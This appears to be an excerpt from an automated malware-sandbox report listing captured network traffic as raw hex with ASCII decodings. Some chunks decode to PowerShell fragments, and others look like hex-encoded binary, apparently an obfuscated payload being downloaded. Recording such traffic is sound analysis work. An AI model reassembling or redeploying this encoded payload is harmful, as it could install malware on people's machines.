                          2021-09-14 19:25:31 UTC315INData Raw: 39 43 38 34 32 34 44 36 41 44 38 39 37 37 44 31 34 37 31 37 36 32 46 41 31 43 34 33 39 41 45 35 32 36 44 32 38 45 43 34 35 2d 41 2d 33 37 45 31 42 41 31 43 39 2d 35 33 31 35 2d 38 32 2d 36 33 39 43 38 46 46 36 36 37 43 31 43 43 39 45 43 33 45 45 33 2d 34 45 38 35 39 35 42 34 38 31 35 33 37 39 32 33 46 35 37 44 33 35 39 37 36 34 41 46 33 43 44 43 43 36 37 39 34 37 39 37 31 43 35 44 38 38 44 38 35 42 34 38 39 43 36 2d 42 36 41 38 2d 44 32 37 33 39 45 45 38 33 37 43 34 36 46 45 35 38 35 45 39 39 44 38 36 36 32 42 37 37 39 32 33 34 36 37 45 44 2d 41 44 42 2d 2d 2d 35 38 38 42 41 32 36 39 39 38 33 37 43 45 2d 32 46 34 43 42 31 35 42 35 33 46 39 37 45 35 45 43 44 45 45 32 45 39 37 33 31 41 46 46 46 43 39 33 35 33 46 41 37 34 43 33 35 39 34 39 35 35 39 31 36 35
                          Data Ascii: 9C8424D6AD8977D1471762FA1C439AE526D28EC45-A-37E1BA1C9-5315-82-639C8FF667C1CC9EC3EE3-4E8595B481537923F57D359764AF3CDCC67947971C5D88D85B489C6-B6A8-D2739EE837C46FE585E99D8662B77923467ED-ADB---588BA2699837CE-2F4CB15B53F97E5ECDEE2E9731AFFFC9353FA74C35949559165
                          2021-09-14 19:25:31 UTC322INData Raw: 43 33 31 31 42 35 37 38 37 46 43 45 41 42 39 35 35 36 45 35 38 45 36 36 34 32 32 38 38 36 44 32 31 41 36 33 34 38 32 37 42 2d 32 41 39 31 31 41 33 35 31 32 42 34 33 39 35 34 45 36 43 38 33 37 42 35 36 35 2d 36 32 32 35 38 44 34 36 43 36 41 35 36 32 46 45 43 31 37 2d 44 45 32 44 31 31 39 33 32 44 35 43 42 37 2d 32 41 44 41 37 45 41 43 2d 46 34 32 39 45 46 44 45 37 45 38 38 35 35 45 37 34 2d 45 35 37 38 2d 45 31 46 33 45 45 43 46 31 43 41 45 42 45 39 36 38 42 46 42 2d 43 45 38 35 34 46 46 43 44 36 44 43 39 38 32 37 37 42 38 42 35 33 44 35 36 37 32 45 41 45 37 32 39 33 42 39 36 38 45 34 33 46 38 42 42 39 42 39 42 34 45 38 37 43 43 34 45 37 36 35 34 45 41 2d 39 38 33 42 45 31 35 43 45 38 37 39 43 37 33 44 42 35 38 46 35 46 31 36 42 46 46 45 45 33 31 33 45 39
                          Data Ascii: C311B5787FCEAB9556E58E66422886D21A634827B-2A911A3512B43954E6C837B565-62258D46C6A562FEC17-DE2D11932D5CB7-2ADA7EAC-F429EFDE7E8855E74-E578-E1F3EECF1CAEBE968BFB-CE854FFCD6DC98277B8B53D5672EAE7293B968E43F8BB9B9B4E87CC4E7654EA-983BE15CE879C73DB58F5F16BFFEE313E9
                          2021-09-14 19:25:31 UTC330INData Raw: 34 34 41 34 33 32 38 42 44 2d 33 44 43 32 34 35 32 44 39 42 37 31 46 46 44 43 37 32 32 44 46 39 42 34 34 33 36 46 35 39 33 38 37 35 46 44 32 38 39 44 43 35 38 37 34 34 32 39 31 31 2d 33 44 32 31 38 38 41 46 42 41 42 31 37 43 46 38 34 45 34 2d 45 31 46 43 41 35 33 35 42 44 2d 32 35 35 45 46 39 41 43 2d 35 37 32 45 37 44 45 36 39 42 36 31 2d 34 31 35 37 46 44 44 41 37 43 46 38 32 41 45 42 44 43 41 43 43 33 2d 37 34 41 38 37 38 33 45 44 32 45 2d 45 32 38 38 33 39 46 43 36 31 42 42 37 38 44 41 33 38 43 44 34 34 35 31 36 36 32 45 31 42 37 44 37 39 45 32 45 34 43 35 38 31 44 39 42 32 37 39 46 34 31 35 42 31 39 31 41 2d 35 39 31 44 32 43 38 32 34 43 46 31 41 42 35 2d 39 42 46 31 31 2d 46 36 46 33 45 35 34 33 32 34 37 39 36 37 2d 35 39 39 32 33 34 36 39 45 32 2d
                          Data Ascii: 44A4328BD-3DC2452D9B71FFDC722DF9B4436F593875FD289DC587442911-3D2188AFBAB17CF84E4-E1FCA535BD-255EF9AC-572E7DE69B61-4157FDDA7CF82AEBDCACC3-74A8783ED2E-E28839FC61BB78DA38CD4451662E1B7D79E2E4C581D9B279F415B191A-591D2C824CF1AB5-9BF11-F6F3E543247967-59923469E2-
                          2021-09-14 19:25:31 UTC337INData Raw: 43 44 35 38 44 32 33 41 42 32 2d 33 46 36 32 43 36 44 2d 39 43 41 44 36 45 38 35 46 42 41 35 45 42 45 42 34 33 43 39 34 46 42 31 46 39 32 33 33 34 32 38 32 43 2d 37 34 36 2d 38 37 46 37 34 44 43 42 35 46 34 44 32 34 45 32 36 37 32 41 2d 44 32 38 46 46 32 45 46 44 33 2d 33 41 38 46 36 43 46 42 37 34 41 32 31 42 34 36 39 42 35 34 44 31 34 42 35 41 42 44 45 33 43 31 39 33 43 37 43 37 2d 46 2d 36 39 38 35 33 39 38 46 32 41 35 36 33 42 45 31 34 43 34 45 34 43 2d 38 2d 33 43 39 39 38 38 45 33 34 36 37 41 33 31 36 34 34 44 45 36 33 2d 32 45 39 38 35 42 34 36 43 32 42 46 46 43 36 45 45 34 38 2d 31 35 45 31 38 42 35 35 42 41 36 38 42 39 42 45 43 34 41 38 35 41 44 41 46 36 31 2d 43 39 31 38 33 37 36 39 43 42 41 33 44 31 45 44 32 44 36 2d 45 44 45 37 34 43 46 31 43
                          Data Ascii: CD58D23AB2-3F62C6D-9CAD6E85FBA5EBEB43C94FB1F92334282C-746-87F74DCB5F4D24E2672A-D28FF2EFD3-3A8F6CFB74A21B469B54D14B5ABDE3C193C7C7-F-6985398F2A563BE14C4E4C-8-3C9988E3467A31644DE63-2E985B46C2BFFC6EE48-15E18B55BA68B9BEC4A85ADAF61-C9183769CBA3D1ED2D6-EDE74CF1C
                          2021-09-14 19:25:31 UTC344INData Raw: 45 37 41 35 39 41 46 33 42 42 32 32 35 37 42 36 2d 41 37 35 34 42 43 43 37 43 32 38 44 44 36 41 34 31 36 46 35 39 31 33 43 34 42 44 33 44 37 44 39 41 42 32 36 34 37 34 44 36 31 43 32 43 45 46 46 41 39 46 32 33 39 2d 44 32 42 34 34 44 33 43 36 34 31 32 46 43 44 35 33 33 42 36 31 44 34 46 41 31 31 37 34 46 32 42 36 36 37 46 2d 45 31 32 33 31 32 31 31 38 42 46 33 43 32 41 32 35 43 45 34 31 31 32 2d 33 44 46 2d 42 34 31 37 37 44 2d 41 34 44 33 45 32 44 37 33 36 36 45 32 42 2d 35 44 42 45 35 2d 34 43 39 45 2d 42 44 43 31 37 38 35 2d 34 45 36 43 37 42 45 2d 33 33 38 37 43 42 38 41 31 42 32 36 35 2d 2d 43 41 32 35 43 46 34 32 32 33 2d 38 41 44 46 38 37 33 37 45 44 32 43 31 45 36 2d 35 36 43 34 2d 46 34 2d 32 32 32 38 46 2d 35 37 35 38 41 38 34 32 43 2d 38 2d 38
                          Data Ascii: E7A59AF3BB2257B6-A754BCC7C28DD6A416F5913C4BD3D7D9AB26474D61C2CEFFA9F239-D2B44D3C6412FCD533B61D4FA1174F2B667F-E12312118BF3C2A25CE4112-3DF-B4177D-A4D3E2D7366E2B-5DBE5-4C9E-BDC1785-4E6C7BE-3387CB8A1B265--CA25CF4223-8ADF8737ED2C1E6-56C4-F4-2228F-5758A842C-8-8
                          2021-09-14 19:25:31 UTC351INData Raw: 41 32 34 32 34 43 32 41 44 31 45 34 35 33 31 43 34 44 31 34 46 36 31 38 35 2d 45 43 34 31 46 2d 43 34 43 38 39 42 37 34 37 34 43 38 36 36 41 37 36 32 45 32 2d 32 2d 46 44 43 35 2d 37 33 38 37 35 37 33 42 38 36 37 37 42 37 32 38 35 39 41 2d 33 44 38 34 36 38 36 35 37 44 36 32 45 37 38 41 33 39 39 33 2d 39 43 32 44 36 45 43 33 41 45 33 45 35 38 46 41 2d 46 35 39 32 43 39 34 2d 41 34 33 45 45 41 45 41 42 33 41 34 31 31 33 33 38 35 45 46 33 43 45 38 35 46 39 2d 36 2d 44 39 46 46 42 44 34 36 42 35 38 43 36 45 33 39 39 2d 2d 43 31 33 41 37 39 39 32 45 45 34 34 42 31 42 42 45 45 43 46 34 34 36 42 33 41 41 32 43 32 43 36 45 35 43 38 39 44 41 43 39 45 45 32 33 44 32 43 41 39 46 32 34 46 35 44 32 34 2d 2d 44 45 32 31 44 44 44 2d 33 38 43 33 32 36 33 32 44 36 2d 34
                          Data Ascii: A2424C2AD1E4531C4D14F6185-EC41F-C4C89B7474C866A762E2-2-FDC5-7387573B8677B72859A-3D8468657D62E78A3993-9C2D6EC3AE3E58FA-F592C94-A43EEAEAB3A4113385EF3CE85F9-6-D9FFBD46B58C6E399--C13A7992EE44B1BBEECF446B3AA2C2C6E5C89DAC9EE23D2CA9F24F5D24--DE21DDD-38C32632D6-4
                          2021-09-14 19:25:31 UTC359INData Raw: 43 38 31 45 46 32 35 37 36 46 38 45 35 46 38 39 35 41 34 46 39 46 39 35 31 34 2d 32 34 2d 43 38 33 2d 41 34 33 45 31 37 45 31 37 34 43 42 2d 35 39 37 42 44 37 37 45 44 43 31 39 44 38 32 43 45 2d 2d 45 45 41 35 46 38 41 32 42 34 38 34 43 41 42 42 38 38 46 42 45 34 31 44 32 43 2d 34 43 36 39 2d 44 31 42 42 2d 46 38 43 39 31 31 32 31 32 33 43 38 37 45 36 32 31 45 39 35 46 44 42 37 33 44 34 36 34 34 31 32 38 31 39 33 41 32 44 35 41 32 31 35 46 33 38 37 34 34 2d 41 35 38 42 43 38 33 37 37 38 34 45 43 45 45 36 44 46 32 46 31 43 45 2d 34 41 37 33 45 34 32 42 36 43 34 41 41 39 2d 31 42 39 2d 42 35 39 35 32 32 38 2d 36 46 45 46 38 37 46 2d 46 41 45 33 45 38 43 46 38 2d 41 37 43 37 2d 46 36 41 45 37 43 45 41 31 36 35 35 34 42 44 39 42 43 38 38 41 44 36 34 39 34 2d
                          Data Ascii: C81EF2576F8E5F895A4F9F9514-24-C83-A43E17E174CB-597BD77EDC19D82CE--EEA5F8A2B484CABB88FBE41D2C-4C69-D1BB-F8C9112123C87E621E95FDB73D4644128193A2D5A215F38744-A58BC837784ECEE6DF2F1CE-4A73E42B6C4AA9-1B9-B595228-6FEF87F-FAE3E8CF8-A7C7-F6AE7CEA16554BD9BC88AD6494-
                          2021-09-14 19:25:31 UTC366INData Raw: 45 39 45 35 41 41 42 41 2d 34 34 44 31 38 35 37 41 41 43 31 36 37 44 46 42 42 41 36 45 38 34 38 44 32 36 31 31 35 34 43 42 41 37 36 41 42 31 34 45 45 44 45 45 45 43 32 41 39 45 39 33 38 33 31 36 41 35 31 36 37 36 45 39 44 46 32 45 35 43 42 39 33 39 32 43 33 31 45 42 36 31 34 31 32 43 34 33 41 2d 41 33 45 34 46 46 38 43 34 43 37 31 35 39 31 33 46 2d 44 38 45 35 39 44 36 38 2d 38 37 35 32 36 41 44 38 35 43 32 32 37 46 39 45 41 43 45 37 44 33 42 44 36 34 42 37 45 33 42 39 37 2d 36 34 32 46 34 2d 39 46 31 46 37 36 2d 2d 44 46 42 41 38 33 44 41 38 39 42 35 41 32 34 33 42 42 32 31 41 41 33 35 32 43 32 43 36 39 35 42 43 34 45 2d 46 38 32 33 32 45 39 39 32 31 34 38 35 42 36 2d 33 36 31 45 37 35 35 32 44 41 32 43 33 2d 35 34 2d 32 32 39 34 37 43 2d 43 31 31 35 36
                          Data Ascii: E9E5AABA-44D1857AAC167DFBBA6E848D261154CBA76AB14EEDEEEC2A9E938316A51676E9DF2E5CB9392C31EB61412C43A-A3E4FF8C4C715913F-D8E59D68-87526AD85C227F9EACE7D3BD64B7E3B97-642F4-9F1F76--DFBA83DA89B5A243BB21AA352C2C695BC4E-F8232E9921485B6-361E7552DA2C3-54-22947C-C1156
                          2021-09-14 19:25:31 UTC373INData Raw: 2d 45 45 39 35 41 39 45 35 39 2d 39 36 34 41 44 43 34 42 45 34 32 36 31 31 45 32 42 38 32 39 41 46 37 41 42 33 46 43 34 36 38 33 43 31 37 41 41 36 33 37 41 45 38 44 46 33 34 34 42 41 31 32 43 31 46 39 44 34 43 36 41 35 35 41 39 42 32 38 45 32 31 2d 42 45 43 34 33 36 46 43 43 46 44 38 35 31 32 34 41 33 41 33 35 38 41 41 44 34 37 31 37 45 37 38 33 39 36 34 43 42 36 44 2d 44 42 38 32 41 37 46 36 39 31 42 33 44 32 34 39 2d 36 46 34 42 37 42 37 46 36 39 33 42 41 38 44 35 41 43 45 45 32 32 41 36 32 46 45 42 32 42 32 42 32 32 35 33 44 44 35 36 39 38 35 38 35 33 45 37 37 43 35 36 42 36 35 45 34 32 32 37 44 37 32 38 31 2d 34 36 41 35 34 32 33 46 37 36 38 34 39 43 34 31 35 42 32 31 46 39 39 37 41 36 35 44 35 34 41 31 42 46 44 46 38 46 35 42 45 43 34 33 39 34 41 35
                          Data Ascii: -EE95A9E59-964ADC4BE42611E2B829AF7AB3FC4683C17AA637AE8DF344BA12C1F9D4C6A55A9B28E21-BEC436FCCFD85124A3A358AAD4717E783964CB6D-DB82A7F691B3D249-6F4B7B7F693BA8D5ACEE22A62FEB2B2B2253DD56985853E77C56B65E4227D7281-46A5423F76849C415B21F997A65D54A1BFDF8F5BEC4394A5
                          2021-09-14 19:25:31 UTC380INData Raw: 44 42 37 42 32 35 33 35 36 39 46 39 43 42 32 42 46 43 35 31 36 38 32 2d 2d 45 44 43 46 33 45 38 43 46 37 45 39 35 36 45 34 32 46 36 44 42 32 32 36 41 31 39 34 33 44 31 41 46 32 36 37 37 2d 39 36 32 38 35 43 37 38 42 42 42 37 44 37 33 36 31 44 31 39 2d 34 2d 46 34 41 37 34 33 32 37 36 44 35 39 41 35 33 2d 34 42 45 42 43 35 33 44 31 39 43 41 42 33 41 35 37 37 43 39 33 45 46 41 44 31 35 35 33 46 31 37 32 2d 38 43 36 41 36 45 33 35 35 45 43 34 31 41 32 44 45 32 42 37 39 43 37 33 42 38 35 38 43 31 44 38 42 33 31 45 33 37 46 46 33 43 34 33 43 35 31 44 31 35 39 37 37 45 42 38 45 45 44 41 34 42 36 39 37 31 43 45 44 37 37 37 45 43 36 2d 36 38 33 2d 31 42 31 33 31 44 45 46 41 32 38 43 37 42 33 43 35 33 34 37 44 45 36 31 39 43 33 35 45 42 44 32 32 2d 38 42 44 45 42
                          Data Ascii: DB7B253569F9CB2BFC51682--EDCF3E8CF7E956E42F6DB226A1943D1AF2677-96285C78BBB7D7361D19-4-F4A743276D59A53-4BEBC53D19CAB3A577C93EFAD1553F172-8C6A6E355EC41A2DE2B79C73B858C1D8B31E37FF3C43C51D15977EB8EEDA4B6971CED777EC6-683-1B131DEFA28C7B3C5347DE619C35EBD22-8BDEB
                          2021-09-14 19:25:31 UTC387INData Raw: 42 34 41 43 34 34 41 43 37 31 39 37 42 38 32 2d 2d 31 39 37 31 34 43 46 32 41 31 35 35 32 43 38 46 32 33 2d 43 39 43 38 35 31 2d 41 38 46 39 43 33 38 35 33 41 2d 45 44 42 37 31 37 46 43 45 36 42 35 45 2d 42 32 44 38 32 2d 43 35 35 42 41 42 31 36 2d 35 39 31 37 41 35 34 34 43 33 35 46 43 46 34 2d 38 44 38 38 33 45 46 39 32 34 46 36 43 2d 33 36 31 42 41 46 31 35 42 45 31 44 33 31 39 43 34 35 32 33 32 32 31 37 45 37 45 42 43 44 38 34 37 46 32 39 35 43 36 32 32 46 32 44 38 45 45 35 46 37 44 37 39 36 35 32 42 43 45 37 36 45 43 42 33 37 2d 44 45 34 38 42 44 2d 31 43 39 38 36 45 45 39 46 43 43 36 37 31 31 42 36 33 32 32 44 45 46 32 45 42 44 35 37 35 37 46 44 32 39 45 36 45 32 42 39 44 43 33 34 38 32 32 37 2d 44 38 36 39 32 43 44 41 31 32 37 37 35 35 2d 41 39 39
                          Data Ascii: B4AC44AC7197B82--19714CF2A1552C8F23-C9C851-A8F9C3853A-EDB717FCE6B5E-B2D82-C55BAB16-5917A544C35FCF4-8D883EF924F6C-361BAF15BE1D319C45232217E7EBCD847F295C622F2D8EE5F7D79652BCE76ECB37-DE48BD-1C986EE9FCC6711B6322DEF2EBD5757FD29E6E2B9DC348227-D8692CDA127755-A99
                          2021-09-14 19:25:31 UTC395INData Raw: 46 44 2d 38 2d 37 31 35 41 33 41 31 36 39 43 45 46 2d 36 35 46 41 44 37 41 36 34 45 45 45 42 32 46 32 36 42 2d 33 38 2d 34 31 41 46 46 42 33 38 43 36 44 31 2d 31 31 43 45 31 35 43 2d 44 34 46 34 34 35 39 39 42 2d 43 31 36 38 2d 44 34 33 31 44 43 41 46 35 41 39 39 44 34 33 37 32 43 38 33 42 31 32 42 2d 43 33 33 32 44 34 33 32 42 46 39 37 39 2d 2d 34 41 43 44 39 31 39 34 46 32 39 32 38 44 2d 43 39 37 44 43 42 45 35 42 34 31 32 42 38 43 38 33 38 44 34 33 44 2d 42 35 36 46 35 43 36 2d 36 33 44 41 41 34 41 39 35 45 44 31 43 46 33 43 39 34 33 45 39 43 42 41 36 35 2d 33 39 37 35 44 36 2d 44 39 31 43 37 39 34 35 33 2d 45 31 39 34 46 36 37 39 34 39 41 41 35 34 38 46 46 46 33 34 31 38 2d 44 31 38 31 32 35 31 2d 32 43 37 37 42 44 45 41 41 41 46 42 35 2d 46 45 43 43
                          Data Ascii: FD-8-715A3A169CEF-65FAD7A64EEEB2F26B-38-41AFFB38C6D1-11CE15C-D4F44599B-C168-D431DCAF5A99D4372C83B12B-C332D432BF979--4ACD9194F2928D-C97DCBE5B412B8C838D43D-B56F5C6-63DAA4A95ED1CF3C943E9CBA65-3975D6-D91C79453-E194F67949AA548FFF3418-D181251-2C77BDEAAAFB5-FECC
                          2021-09-14 19:25:31 UTC402INData Raw: 45 37 45 39 37 32 44 46 46 45 45 35 36 38 39 2d 39 37 41 37 32 33 33 45 36 37 35 45 37 2d 36 42 42 46 44 46 39 43 45 36 41 39 35 43 41 36 34 41 42 38 31 46 33 36 38 45 33 34 37 41 33 37 45 37 43 31 37 33 36 2d 31 35 34 46 42 31 43 33 38 42 31 39 46 38 41 35 39 36 43 2d 34 43 41 42 43 32 44 32 41 33 33 46 37 32 32 31 43 33 43 45 34 31 41 46 34 41 31 33 36 43 2d 45 43 44 35 45 36 41 43 2d 38 43 45 31 37 39 31 32 45 42 45 45 44 42 33 44 31 34 31 43 35 35 32 42 2d 44 34 33 37 33 41 42 35 36 31 42 44 38 32 38 41 45 2d 46 36 33 39 36 38 42 38 45 33 38 2d 44 43 43 41 45 45 41 46 41 33 2d 42 31 43 36 36 41 32 43 46 35 44 42 33 41 32 32 37 37 39 36 43 41 34 41 35 2d 44 43 43 42 2d 36 41 45 46 44 33 43 2d 34 34 39 32 44 41 36 37 33 36 32 45 2d 44 39 45 37 42 32 41
                          Data Ascii: E7E972DFFEE5689-97A7233E675E7-6BBFDF9CE6A95CA64AB81F368E347A37E7C1736-154FB1C38B19F8A596C-4CABC2D2A33F7221C3CE41AF4A136C-ECD5E6AC-8CE17912EBEEDB3D141C552B-D4373AB561BD828AE-F63968B8E38-DCCAEEAFA3-B1C66A2CF5DB3A227796CA4A5-DCCB-6AEFD3C-4492DA67362E-D9E7B2A
                          2021-09-14 19:25:31 UTC409INData Raw: 42 38 2d 41 43 43 2d 35 33 39 37 45 39 41 32 43 32 37 33 35 43 38 41 42 41 46 41 2d 38 34 38 36 43 39 42 34 45 39 31 34 39 38 31 33 32 36 45 36 39 42 38 42 33 2d 2d 46 34 41 34 38 35 41 46 36 2d 46 45 43 43 44 42 32 45 43 35 36 41 31 34 41 42 39 37 37 42 46 45 32 45 38 37 44 31 38 32 41 33 2d 44 2d 37 43 2d 36 31 32 36 45 32 39 46 44 31 46 36 43 45 44 33 45 39 42 36 32 33 33 31 33 33 34 43 39 32 33 33 31 44 32 35 31 46 44 2d 43 46 43 45 38 33 31 45 45 37 41 37 32 33 41 42 44 44 36 45 2d 32 37 42 46 42 42 32 41 43 31 45 45 37 32 37 33 32 2d 33 33 45 31 2d 45 33 34 37 44 33 38 2d 33 34 34 42 42 38 31 38 37 32 33 44 41 36 46 46 39 44 38 37 41 45 34 46 34 36 43 36 2d 42 43 38 39 39 35 33 39 31 31 36 34 43 38 37 43 36 41 34 34 45 35 35 37 46 44 34 36 43 34 36
                          Data Ascii: B8-ACC-5397E9A2C2735C8ABAFA-8486C9B4E914981326E69B8B3--F4A485AF6-FECCDB2EC56A14AB977BFE2E87D182A3-D-7C-6126E29FD1F6CED3E9B62331334C92331D251FD-CFCE831EE7A723ABDD6E-27BFBB2AC1EE72732-33E1-E347D38-344BB818723DA6FF9D87AE4F46C6-BC8995391164C87C6A44E557FD46C46
                          2021-09-14 19:25:31 UTC416INData Raw: 2d 36 39 2d 36 65 2d 36 34 2d 36 39 2d 36 65 2d 36 37 2d 32 38 2d 32 39 2d 35 64 2d 30 61 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 35 62 2d 34 66 2d 37 35 2d 37 34 2d 37 30 2d 37 35 2d 37 34 2d 35 34 2d 37 39 2d 37 30 2d 36 35 2d 32 38 2d 35 62 2d 36 32 2d 37 39 2d 37 34 2d 36 35 2d 35 62 2d 35 64 2d 35 64 2d 32 39 2d 35 64 2d 30 61 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 37 30 2d 36 31 2d 37 32 2d 36 31 2d 36 64 2d 32 38 2d 30 61 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 32 30 2d 35 62 2d 35 30 2d 36 31 2d 37 32 2d 36 31 2d 36 64 2d 36 35 2d 37 34 2d 36 35 2d 37 32 2d 32 38 2d 34 64 2d 36 31 2d 36 65 2d 36 34 2d 36 31 2d 37 34 2d 36 66 2d 37 32 2d 37 39 2d 33 64 2d 32 34 2d 37 34 2d 37 32 2d 37 35 2d 36 35 2d 32 39 2d 35 64 2d 32 30
                          Data Ascii: -69-6e-64-69-6e-67-28-29-5d-0a-20-20-20-20-5b-4f-75-74-70-75-74-54-79-70-65-28-5b-62-79-74-65-5b-5d-5d-29-5d-0a-20-20-20-20-70-61-72-61-6d-28-0a-20-20-20-20-20-20-20-20-5b-50-61-72-61-6d-65-74-65-72-28-4d-61-6e-64-61-74-6f-72-79-3d-24-74-72-75-65-29-5d-20
                          2021-09-14 19:25:31 UTC424INData Raw: 33 31 2d 33 30 2d 33 36 2d 33 31 2d 34 36 2d 33 32 2d 33 39 2d 33 39 2d 33 34 2d 33 31 2d 33 33 2d 33 30 2d 33 37 2d 33 31 2d 33 36 2d 33 31 2d 33 33 2d 33 30 2d 33 38 2d 33 37 2d 34 35 2d 33 30 2d 33 38 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 34 2d 33 30 2d 33 39 2d 33 37 2d 34 32 2d 33 30 2d 34 32 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 34 2d 33 31 2d 33 31 2d 33 30 2d 33 37 2d 33 31 2d 34 31 2d 34 34 2d 33 36 2d 33 31 2d 34 31 2d 34 34 2d 33 36 2d 33 31 2d 33 32 2d 33 30 2d 33 38 2d 33 31 2d 34 31 2d 33 31 2d 33 32 2d 33 30 2d 33 30 2d 33 36 2d 34 36 2d 33 32 2d 33 34 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 36 2d 33 31 2d 33 36 2d 34 36 2d 34 35 2d 33 30 2d 33 31 2d 33 31 2d 33 33 2d 33 31 2d 33 35 2d 33 31 2d 33 31 2d
                          Data Ascii: 31-30-36-31-46-32-39-39-34-31-33-30-37-31-36-31-33-30-38-37-45-30-38-30-30-30-30-30-34-30-39-37-42-30-42-30-30-30-30-30-34-31-31-30-37-31-41-44-36-31-41-44-36-31-32-30-38-31-41-31-32-30-30-36-46-32-34-30-30-30-30-30-36-31-36-46-45-30-31-31-33-31-35-31-31-
                          2021-09-14 19:25:31 UTC431INData Raw: 30 2d 33 30 2d 33 30 2d 33 30 2d 33 37 2d 33 30 2d 33 32 2d 33 30 2d 33 37 2d 33 37 2d 34 35 2d 34 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 38 2d 33 34 2d 34 34 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 36 2d 33 32 2d 33 30 2d 33 36 2d 34 35 2d 34 35 2d 33 38 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 38 2d 33 34 2d 33 33 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 36 2d 33 32 2d 33 30 2d 33 31 2d 33 36 2d 34 36 2d 33 33 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 38 2d 33 33 2d 33 39 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 36 2d 33 32 2d 33 30 2d 33 36 2d 34 31 2d 34 35 2d 33 31 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 38 2d 33 32 2d 34 36 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33
                          Data Ascii: 0-30-30-30-37-30-32-30-37-37-45-45-30-30-30-30-32-38-34-44-30-30-30-30-30-36-32-30-36-45-45-38-30-30-30-30-32-38-34-33-30-30-30-30-30-36-32-30-31-36-46-33-30-30-30-30-32-38-33-39-30-30-30-30-30-36-32-30-36-41-45-31-30-30-30-30-32-38-32-46-30-30-30-30-30-3
                          2021-09-14 19:25:31 UTC438INData Raw: 2d 33 31 2d 34 33 2d 33 36 2d 33 33 2d 33 36 2d 33 36 2d 33 31 2d 34 33 2d 33 36 2d 33 33 2d 33 32 2d 34 32 2d 33 34 2d 33 39 2d 33 32 2d 33 38 2d 33 31 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 34 31 2d 33 30 2d 33 36 2d 33 32 2d 33 38 2d 33 31 2d 33 37 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 34 31 2d 33 32 2d 34 32 2d 33 36 2d 33 31 2d 33 31 2d 33 32 2d 33 30 2d 33 32 2d 33 32 2d 33 38 2d 33 31 2d 33 38 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 34 31 2d 33 32 2d 33 33 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 33 2d 33 36 2d 33 30 2d 33 32 2d 33 32 2d 34 32 2d 33 30 2d 34 33 2d 33 32 2d 34 32 2d 33 34 2d 33 35 2d 33 33
                          Data Ascii: -31-43-36-33-36-36-31-43-36-33-32-42-34-39-32-38-31-30-30-30-30-30-30-41-30-36-32-38-31-37-30-30-30-30-30-41-32-42-36-31-31-32-30-32-32-38-31-38-30-30-30-30-30-41-32-33-30-30-30-30-30-30-30-30-30-30-30-30-30-30-30-30-33-36-30-32-32-42-30-43-32-42-34-35-33
                          2021-09-14 19:25:31 UTC445INData Raw: 33 38 2d 33 36 2d 33 35 2d 33 32 2d 33 30 2d 34 32 2d 34 33 2d 34 36 2d 33 38 2d 33 37 2d 33 32 2d 33 30 2d 33 33 2d 33 32 2d 33 30 2d 34 32 2d 33 36 2d 34 36 2d 33 38 2d 33 37 2d 33 32 2d 33 30 2d 33 33 2d 33 35 2d 33 39 2d 33 32 2d 33 30 2d 33 33 2d 33 32 2d 33 33 2d 33 39 2d 33 34 2d 34 31 2d 33 31 2d 33 33 2d 33 36 2d 33 36 2d 33 32 2d 33 30 2d 33 37 2d 33 37 2d 33 37 2d 33 36 2d 34 32 2d 33 35 2d 33 32 2d 33 35 2d 33 35 2d 33 38 2d 33 32 2d 33 30 2d 33 36 2d 34 31 2d 33 33 2d 34 34 2d 33 36 2d 34 32 2d 33 31 2d 33 32 2d 33 35 2d 33 39 2d 33 36 2d 33 36 2d 33 32 2d 33 30 2d 34 35 2d 33 32 2d 34 34 2d 33 32 2d 34 32 2d 33 36 2d 33 31 2d 33 36 2d 33 32 2d 33 30 2d 33 31 2d 34 35 2d 33 31 2d 34 34 2d 33 34 2d 33 39 2d 34 35 2d 33 39 2d 33 35 2d 33 38 2d
                          Data Ascii: 38-36-35-32-30-42-43-46-38-37-32-30-33-32-30-42-36-46-38-37-32-30-33-35-39-32-30-33-32-33-39-34-41-31-33-36-36-32-30-37-37-37-36-42-35-32-35-35-38-32-30-36-41-33-44-36-42-31-32-35-39-36-36-32-30-45-32-44-32-42-36-31-36-32-30-31-45-31-44-34-39-45-39-35-38-
